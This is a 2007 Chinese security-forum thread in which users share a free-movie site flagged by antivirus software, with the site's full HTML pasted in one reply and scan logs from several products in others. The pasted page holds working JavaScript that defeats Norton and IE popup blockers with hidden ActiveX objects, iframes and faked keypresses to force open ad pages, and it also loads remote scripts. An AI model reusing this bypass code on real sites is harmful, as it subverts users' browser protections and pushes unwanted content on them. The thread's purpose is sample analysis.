收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › NOD 32：Tr/downloader网站一个
返回列表 发新帖
查看: 2593|回复: 6
收起左侧

[病毒样本] NOD 32：Tr/downloader网站一个

[复制链接]
曲中求
发表于 2007-3-30 15:49:39 | 显示全部楼层 |阅读模式
在中天论坛有一贴里面推荐了一些看电影网站（加了分哦），我就中了其中一个：http://www.dy007.com/
，在里面搜了一下“死亡笔记”，NOD 32的提示就来了，还是热的，大家不用客气。。。。。

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

金剑
头像被屏蔽
发表于 2007-3-30 15:50:43 | 显示全部楼层
<HTML>
<HEAD>
<title>91Q小游戏:搜索小游戏</title>
<meta name="description" content="提供最新小游戏、在线小游戏、迷你小游戏、小游戏下载">
<meta name="keywords" content="小游戏、在线小游戏、迷你小游戏、小游戏下载">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="Images/style.css" rel="stylesheet" type="text/css">
<Script Language="JavaScript">
var paypopupURL = "http://www.7kee.com/gold/index8.htm";
var usingActiveX = true;
function blockError(){return true;}
window.onerror = blockError;
//bypass norton internet security popup blocker
if (window.SymRealWinOpen){window.open = SymRealWinOpen;}
if (window.NS_ActualOpen) {window.open = NS_ActualOpen;}
if (typeof(usingClick) == 'undefined') {var usingClick = false;}
if (typeof(usingActiveX) == 'undefined') {var usingActiveX = false;}
if (typeof(popwin) == 'undefined') {var popwin = null;}
if (typeof(poped) == 'undefined') {var poped = false;}
if (typeof(paypopupURL) == 'undefined') {var paypopupURL = "http://www.7kee.com/gold/index8.htm";}
var blk = 1;
var setupClickSuccess = false;
var googleInUse = false;
var myurl = location.href+'/';
var MAX_TRIED = 20;
var activeXTried = false;
var tried = 0;
var randkey = '0';  // random key from server
var myWindow;
var popWindow;
var setupActiveXSuccess = 0;
// bypass IE functions
function setupActiveX() {if (usingActiveX) {try{if (setupActiveXSuccess < 5) {document.write('<INPUT STYLE="display:none;" ID="autoHit" TYPE="TEXT" ONKEYPRESS="showActiveX()">');popWindow=window.createPopup();popWindow.document.body.innerHTML='<DIV ID="objectRemover"><OBJECT ID="getParentDiv" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT></DIV>';document.write('<IFRAME NAME="popIframe" STYLE="position:absolute;top:-100px;left:0px;width:1px;height:1px;" SRC="about:blank"></IFRAME>');popIframe.document.write('<OBJECT ID="getParentFrame" STYLE="position:absolute;top:0px;left:0px;" WIDTH=1 HEIGHT=1 DATA="'+myurl+'/paypopup.html" TYPE="text/html"></OBJECT>');setupActiveXSuccess = 6;}}catch(e){if (setupActiveXSuccess < 5) {setupActiveXSuccess++;setTimeout('setupActiveX();',500);}else if (setupActiveXSuccess == 5) {activeXTried = true;setupClick();}}}}
function tryActiveX(){if (!activeXTried && !poped) {if (setupActiveXSuccess == 6 && googleInUse && popWindow && popWindow.document.getElementById('getParentDiv') && popWindow.document.getElementById('getParentDiv').object && popWindow.document.getElementById('getParentDiv').object.parentWindow) {myWindow=popWindow.document.getElementById('getParentDiv').object.parentWindow;}else if (setupActiveXSuccess == 6 && !googleInUse && popIframe && popIframe.getParentFrame && popIframe.getParentFrame.object && popIframe.getParentFrame.object.parentWindow){myWindow=popIframe.getParentFrame.object.parentWindow;popIframe.location.replace('about:blank');}else {setTimeout('tryActiveX()',200);tried++;if (tried >= MAX_TRIED && !activeXTried) {activeXTried = true;setupClick();}return;}openActiveX();window.windowFired=true;self.focus();}}
function openActiveX(){if (!activeXTried && !poped) {if (myWindow && window.windowFired){window.windowFired=false;document.getElementById('autoHit').fireEvent("onkeypress",(document.createEventObject().keyCode=escape(randkey).substring(1)));}else {setTimeout('openActiveX();',100);}tried++;if (tried >= MAX_TRIED) {activeXTried = true;setupClick();}}}
function showActiveX(){if (!activeXTried && !poped) {if (googleInUse) {window.daChildObject=popWindow.document.getElementById('objectRemover').children(0);window.daChildObject=popWindow.document.getElementById('objectRemover').removeChild(window.daChildObject);}newWindow=myWindow.open(paypopupURL,'abcdefg');if (newWindow) {newWindow.blur();self.focus();activeXTried = true;poped = true;}else {if (!googleInUse) {googleInUse=true;tried=0;tryActiveX();}else {activeXTried = true;setupClick();}}}}
// end bypass IE functions
// normal call functions
function paypopup(){if (!poped) {if(!usingClick && !usingActiveX) {popwin = window.open(paypopupURL,'abcdefg');if (popwin) {poped = true;}self.focus();}}if (!poped) {if (usingActiveX) {tryActiveX();}else {setupClick();}}}
// end normal call functions
// onclick call functions
function setupClick() {if (!poped && !setupClickSuccess){if (window.Event) document.captureEvents(Event.CLICK);prePaypopOnclick = document.onclick;document.onclick = gopop;self.focus();setupClickSuccess=true;}}
function gopop() {if (!poped) {popwin = window.open(paypopupURL,'abcdefg');if (popwin) {poped = true;}self.focus();}if (typeof(prePaypopOnclick) == "function") {prePaypopOnclick();}}
// end onclick call functions
// check version
function detectGoogle() {if (usingActiveX) {try {document.write('<DIV STYLE="display:none;"><OBJECT ID="detectGoogle" CLASSID="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" STYLE="display:none;" CODEBASE="view-source:about:blank"></OBJECT></DIV>');googleInUse|=(typeof(document.getElementById('detectGoogle'))=='object');}catch(e){setTimeout('detectGoogle();',50);}}}
function version() {var os = 'W0';var bs = 'I0';var isframe = false;var browser = window.navigator.userAgent;if (browser.indexOf('Win') != -1) {os = 'W1';}if (browser.indexOf("SV1") != -1) {bs = 'I2';}else if (browser.indexOf("Opera") != -1) {bs = "I0";}else if (browser.indexOf("Firefox") != -1) {bs = "I0";}else if (browser.indexOf("Microsoft") != -1 || browser.indexOf("MSIE") != -1) {bs = 'I1';}if (top.location != this.location) {isframe = true;}paypopupURL = paypopupURL;usingClick = blk && ((browser.indexOf("SV1") != -1) || (browser.indexOf("Opera") != -1) || (browser.indexOf("Firefox") != -1));usingActiveX = blk && (browser.indexOf("SV1") != -1) && !(browser.indexOf("Opera") != -1) && ((browser.indexOf("Microsoft") != -1) || (browser.indexOf("MSIE") != -1));detectGoogle();}
version();
// end check version
function loadingPop() {
if(!usingClick && !usingActiveX) {
  paypopup();
}
else if (usingActiveX) {tryActiveX();}
else {setupClick();}
}
myurl = myurl.substring(0, myurl.indexOf('/',8));
if (myurl == '') {myurl = '.';}
setupActiveX();
loadingPop();
self.focus();
</Script>
</HEAD>

<BODY>
<table width="760" border="0" cellpadding="0" cellspacing="0" class="12" id="table19" align="center">
  <!--DWLayoutTable-->
  <tr>
    <td align="center" bgcolor="#E8F2FA" height="20"><font color="#0099CC"><strong>
      <h1 style="font-size:14px">007免费电影网提供3000部免费电影下载,电影免费下载,免费在线电影,免费下载电影。建议您<A
            onclick="javascript:window.external.AddFavorite('http://www.dy007.com/', '007免费电影网-Dy007.com')"
            href="#" target=_self>收藏本站</A>!</h1>
      </strong></font></td>
    </tr>
  </table>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" class="12" id="table17">
  <tr>
    <td height="50">  
        <table width="99%" border="0" cellspacing="0" cellpadding="0" id="table18" align="center">
        <!--DWLayoutTable-->
        <tr>
          <td width="203" height="64" align="center" valign="middle"> <a title="返回奇客免费电影网首页!" href="/index.asp">
            <img border="0" src="/logo.gif" width="200" height="50"></a></td>
          <td width="468" align="center" valign="middle"><a href="http://www.keke99.com/fang" target="_blank"><img src="/gold/banner.gif" width="468" height="60" border="0"></a></td>
          <td width="81" align="right" valign="middle" class="top">·<A
            onmouseover="return SetHome(this);"
            onclick="this.style.behavior='url(#default#homepage)';this.sethomepage('http://www.dy007.com/');return false;"
            href="http://www.dy007.com/#">设为首页</A><br>
            ·<A
            onclick="javascript:window.external.AddFavorite('http://www.dy007.com/', '007免费电影网-dy007.com')"
            href="#" target=_self>加入收藏</A><br>
            ·<a href="/Sitemap.html" target=_blank>网站地图</a></td>
        </tr>
      </table></td>
  </tr>
</table>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0" class="12" id="table17">
  <!--DWLayoutTable-->
  <tr>
    <td width="760" height="25" valign="top"> <table width="100%" border="0" cellspacing="2" cellpadding="0" id="table18" bgcolor="#FFFFFF">
        <!--DWLayoutTable-->
        <tr>
          <td align="center" valign="middle" bgcolor="#BED9F1" class="top" height="28">
            <div align="right"><a href="/index.asp"><strong>007电影首页</strong></a>
              | <a href="/list/336_1.asp"><strong>爱情片</strong></a> | <a href="/list/337_1.asp"><strong>喜剧片</strong></a>
              | <a href="/list/338_1.asp"><strong>动作片</strong></a> | <a href="/list/339_1.asp"><strong>战争片</strong></a>
              | <a href="/list/340_1.asp"><strong>科幻片</strong></a> | <a href="/list/341_1.asp"><strong>恐怖片</strong></a>
              | <a href="/list/342_1.asp"><strong>故事片</strong></a> | <a href="/list/343_1.asp"><strong>伦理片
              </strong></a> | <a href="/list/344_1.asp"><strong>动画片</strong></a>
              | <a href="/list/345_1.asp"><strong>连续剧</strong></a> | <a href="/list/610_1.asp"><strong>综艺片</strong></a>
              | <a href="/list/612_1.asp"><strong>小电影</strong></a></div></td>
          </tr>
      </table></td>
  </tr>
</table>
<table width=760 border=0 align="center" cellpadding=0 cellspacing=0 class="12">  
  <tr>      
    <td colspan=5 rowspan="2" align="left" valign="middle" width="100%" height="24" bgcolor="#FFFFFF"><div align="right">
        <font style="font-size:14px"> <a href="http://www.keke99.com/vip" target="_blank"><font color="#FF0066" style="font-size:14px"><strong>台湾成人电视电影网</strong></font></a>
        |</font> <a href="http://www.keke99.com/fang" target="_blank"><font color="#0000FF" style="font-size:14px"><strong>芳芳的激情视频博客</strong></font></a>
        | <font style="font-size:14px"> <a href="http://www.keke123.com" target="_blank"><font color="#FF0000" style="font-size:14px"><strong>可可兔瘦身减肥网</strong></font></a>
        | <a href="http://www.21keke.com" target="_blank"><font color="#6600FF" style="font-size:14px"><strong>搞笑小电影</strong></font></a>
        | <a href="http://www.21keke.com" target="_blank"><font color="#006633" style="font-size:14px"><strong>免费百部经典电影</strong></font></a>
        </font></div></td>  
  </tr>
</table>
  <table width=760 border=0 align="center" cellpadding=0 cellspacing=0>  
  <tr>      
    <td colspan=5 rowspan="2" align="left" valign="middle" width="100%" height="24"><a href="/gold/index8.htm" target="_blank"><img src="/gold/top.gif" width="760" height="60" border="0"></a><script language="javascript" type="text/javascript" src="http://keke99.com/xwgc/760.js"></script></td>  
  </tr>
</table>
<table width="760" border="0" cellpadding="0" cellspacing="0" class="12" id="table19" align="center">
  <!--DWLayoutTable-->
  <tr>
      <script language=Javascript>
<!--
function urlencode(str) {
        var ns = (navigator.appName=="Netscape") ? 1 : 0;
        if (ns) { return escape(str); }
        var ms = "%25#23 20+2B?3F<3C>3E{7B}7D[5B]5D|7C^5E~7E`60";
        var msi = 0;
        var i,c,rs,ts ;
        while (msi < ms.length) {
                c = ms.charAt(msi);
                rs = ms.substring(++msi, msi +2);
                msi += 2;
                i = 0;
                while (true)        {
                        i = str.indexOf(c, i);
                        if (i == -1) break;
                        ts = str.substring(0, i);
                        str = ts + "%" + rs + str.substring(++i, str.length);
                }
        }
        return str;
}
//-->
</script>
      <form onsubmit="window.location=this.kt.options[this.kt.selectedIndex].value+urlencode(this.k.value); return false;">
        
      <TD width="358" height=26 align="center" valign="middle" bordercolor="#7488A4" bgcolor="#f5f5f5">
        <b><font color="#333333">免费电影搜索：</font></b>
        <input name="k" size="12" style="border: 1px solid #7488A4; "  onMouseOver="this.focus()" onBlur="if (value ==''){value='电影名称'}" onFocus="this.select()" onClick="if(this.value=='电影名称')this.value=''">
          <select name="kt" size="1">
            <option value="/search.asp?type=soft&k=" selected>电影搜索</option>
          </select>
        <input name="Submit" type="image" value="Submit" src="/images/but_search.gif" align="absmiddle" width="61" height="21" border="0"></TD>
      </form>
      
    <td width="400" align="center" bgcolor="#f5f5f5"><a href=/gold/index8.htm target=_blank><strong><font color="#ff0000" style=font-size:14px>5000部免费高速激情电影！</font></strong></a>&nbsp;&nbsp;<a href=http://www.21keke.com target=_blank><strong><font color="#0000ff" style=font-size:14px>搞笑美女小电影下载！</font></strong></a>
        <script language="javascript" src=http://keke99.com/xwgc/001.js></script>
<script language="javascript" src=http://keke99.com/xwgc/002.js></script></td>
    </tr>
  </table>


<DIV align="center">
    <TABLE cellSpacing=1 cellPadding=6 width=760 border=1 bgcolor="#FFFFFF" bordercolor="#F2F3F7" style="border-collapse: collapse" id="table18" class="12">
  <TBODY>
  <TR>
  <td>

                        <table border="0" cellpadding="6" style="border-collapse: collapse" width="98%" id="table4" bordercolor="#CCCCCC" align="center">
              
              <tr>
                <td width="63%" height="25" bgcolor="#F3F3F3">
                                <font color="#003399" style="font-size: 12px; " face="宋体">　游戏名称</font></td>
                <td width="10%" align="center" bgcolor="#F3F3F3"><font face="宋体"><a href="Search.asp?type=soft&cd=&pl=date&k=死亡笔记" title="按更新时间重新排列游戏">
                                <font color="#003399" style="font-size: 12px; ">更新时间</font></a></font></td>
                <td width="8%" align="center" bgcolor="#F3F3F3"><font face="宋体"><a href="Search.asp?type=soft&cd=&pl=hot&k=死亡笔记" title="按游戏评价重新排列游戏">
                                <font color="#003399" style="font-size: 12px; ">游戏评价</font></a></font></td>
                <td width="8%" align="center" bgcolor="#F3F3F3"><font face="宋体"><a href="Search.asp?type=soft&cd=&pl=hits&k=死亡笔记" title="按人气值重新排列游戏">
                                <font color="#003399" style="font-size: 12px; ">下载次数</font></a></font></td>
                <td width="10%" align="center" bgcolor="#F3F3F3">
                                <font color="#003399" face="宋体" style="font-size: 12px; ">
                                游戏大小</font></td>
              </tr>
              
              <tr>
                <td width="97%" bgcolor="#183EAD" colspan="5" height="1"></td>
              </tr>
              
              <tr>
                <td width="97%" colspan="5"><p align="center">
                                <font color="#FF0000" face="宋体">
                                <span style="font-size: 12px; font-weight:700">对不起!没找到你想要的资源!</span></font></td>
              </tr>
              
            </table>
              <font face="宋体"><span style="font-size: 12px">
              
                  </form>
                </tr>
              </table>
  </TD>
    </TR>
    </TBODY>
    </TABLE>
    </DIV>
<TABLE cellSpacing=0 cellPadding=0 width="760" align=center border=0 class="xg">
  <TBODY>
  <TR>
      <TD width="760" height=3></TD>
    </TR>
    </TBODY>
    </TABLE>
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF">
  <tr>
    <td height="25" valign="bottom">
<hr></td>
  </tr>
  <tr>
    <td height="50" align="center" bgcolor="#FFFFFF"><a href="http://www.miibeian.gov.cn/" target="_blank">粤ICP备05014117号</a>
      <a href="/cert/bazs.cert">证书下载</a> <br>
      <font color="#000000">Www.dy007.Com &copy;2005 </font><br>
<script language="javascript" src="http://count22.51yes.com/click.aspx?id=228532888&logo=12"></script> <script id='y_js' src='http://stat.aliunion.cn.yahoo.com/stat.js?pubid=38955'></script>

</td>
  </tr>
</table>
    </BODY>
    </HTML>
<!-- 页面底部结束 -->
回复

举报

DJ
发表于 2007-3-30 15:55:02 | 显示全部楼层
没有发现.
回复

举报

mofunzone
发表于 2007-3-30 16:10:41 | 显示全部楼层
Starting the file scan:

Begin scan in 'C:\Documents and Settings\morgan\My Documents\virus.rar'
C:\Documents and Settings\morgan\My Documents\
  virus.rar
    [0] Archive type: RAR
    --> virus.com
        [DETECTION] Contains signature of the exploits EXP/Agent.B
        [WARNING]   Infected files in archives cannot be repaired!
        [INFO]      The file was deleted!
回复

举报

jlennon
头像被屏蔽
发表于 2007-3-30 16:17:07 | 显示全部楼层
-----------------------------SCAN REPORT-----------------------------
F-PROT Antivirus for Windows

Antivirus Scanning Engine version number: 4.3.1
Virus signature file from: 2007-3-30, 6:08

Scan name: [Custom Scan]
Path to scan: C:\Documents and Settings\Administrator\桌面\virus.rar

Normal scan
Also scan: Inside subfolders, Compressed files, Streams

Scan started: 2007-3-30, 16:16:50
---------------------------------------------------------------------

[Found Trojan]         <JS/ForcePopup@t (exact, not disinfectable)>        C:\Documents and Settings\Administrator\桌面\virus.rar->virus.com
[Contains infected objects]        C:\Documents and Settings\Administrator\桌面\virus.rar
[Quarantined]        C:\Documents and Settings\Administrator\桌面\virus.rar->virus.com

---------------------------------------------------------------------
Scan ended:        2007-3-30, 16:16:58
Duration:        0:00:08

Scan result:

Scanned files:                 1
Infected objects:         1
Disinfected objects:         0
Quarantined files:         1
---------------------------------------------------------------------
回复

举报

小飞狭
发表于 2007-3-30 16:18:13 | 显示全部楼层
楼上几位发的我有点看不懂啊
回复

举报

gggh
发表于 2007-3-30 19:20:25 | 显示全部楼层
卡巴报警...
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-1-11 05:53 , Processed in 0.128457 second(s), 18 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表